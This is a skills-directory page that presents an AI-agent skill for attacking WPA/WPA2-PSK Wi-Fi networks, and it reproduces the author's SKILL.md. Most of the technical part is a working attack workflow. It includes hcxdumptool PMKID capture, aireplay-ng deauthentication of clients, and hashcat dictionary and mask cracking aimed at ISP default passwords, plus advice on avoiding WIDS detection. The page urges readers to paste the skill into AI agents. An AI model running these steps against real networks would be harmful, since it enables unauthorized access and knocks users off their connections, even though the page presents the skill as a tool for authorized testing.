offensive-wpa2-psk
What it does
This skill explains how to test whether a home or small-office WPA2 Wi-Fi password is strong enough. It is for security testers with permission to check their own or a client's network.
When to use it
- βWhen you have permission to test whether a WPA2 Wi-Fi password is too weak.
- βWhen you need to explain why a short or common Wi-Fi password is a risk.
- βWhen you are reviewing a router that may still use a vendor default password.
Skill link
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-wpa2-psk/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you help me check whether the Wi-Fi password at our client's office is strong enough, in an approved test?β
5 new skills a week. 1 minute to read.
How it works
The skill describes how testers collect the data a network produces during login, then check password guesses offline. It recommends trying the least disruptive method first.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
WPA/WPA2-PSK Attacks
The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline β no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
Quick Workflow
- Identify the target BSSID, channel, and encryption (see
offensive-wifi-recon) - Try PMKID first (fast, no client interaction)
- Fall back to four-way handshake capture if PMKID isn't yielded
- Convert capture to hashcat-compatible format
- Crack offline with appropriate wordlist + rules + masks
PMKID Attack (Preferred When Possible)
The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request β no real client needed.
# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 \
--filterlist_ap=targets.txt --filtermode=2
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
targets.txt contains BSSIDs (one per line) you're authorized to attack.
If hash.hc22000 is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
Four-Way Handshake Capture
# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
If a client is associated:
# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
The handshake will appear in airodump's top-right corner as WPA handshake: AA:BB:CC:DD:EE:FF.
Why one client at a time: broadcast deauth (no -c) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
Verifying the Capture
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
Cracking
Dictionary + Rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
Useful wordlists:
rockyou.txt(classic)weakpass_3/weakpass_4(huge breach corpus)crackstation.txt- Targeted: company name, products, locations
Mask Attacks for Common Default Patterns
# 10 digits (common ISP default β UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
Vendor Default Generators
Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
# UPC-XXXXXXX β upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
802.11r FT Cracking
If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
Tuning Cracking Performance
# Show recommended workload tuning per GPU
hashcat -b -m 22000
# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
Opportunistic Key Cache (OKC)
When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam β bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
Detection Considerations
| Signal | Defender View |
|---|---|
| Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes |
| PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC |
| Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios |
To minimize: PMKID with --filtermode=2 (only target your authorized lis
FAQ
Does this test lock out users?
The skill says these checks are done offline, so the network does not see repeated failed logins.
Why is a strong password important?
WPA2 passwords can be checked offline, so weak passwords are easier to find. Long, random passwords are much harder.
Is WPA3 covered?
WPA3 uses a different method, so it is covered in a separate skill.
Details
Original description by the author
WPA/WPA2-PSK attack methodology β four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal β the most common consumer/SMB encryption mode.
repo: SnailSploit/Claude-Red
Popularity
- GitHub stars
- 10k
- Ranking position
- #11989
- License
- MIT
- Updated
- 10/12/2026
Comments
- β¦
More skills from this repository
offensive-active-directory
10kHelps your agent plan an authorized Active Directory security test, from mapping the network to finding attack paths to Domain Admin.
offensive-netexec
10kHelps your agent use the NetExec (nxc) tool for authorized network testing, covering protocols, authentication and credential checks.
offensive-api-abuse
10kHelps your agent plan authorized API security tests that look for business logic abuse, GraphQL risks and race conditions.
offensive-api-security
10kHelps your agent run authorized security tests on REST, gRPC and WebSocket APIs, based on the OWASP API Top 10.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.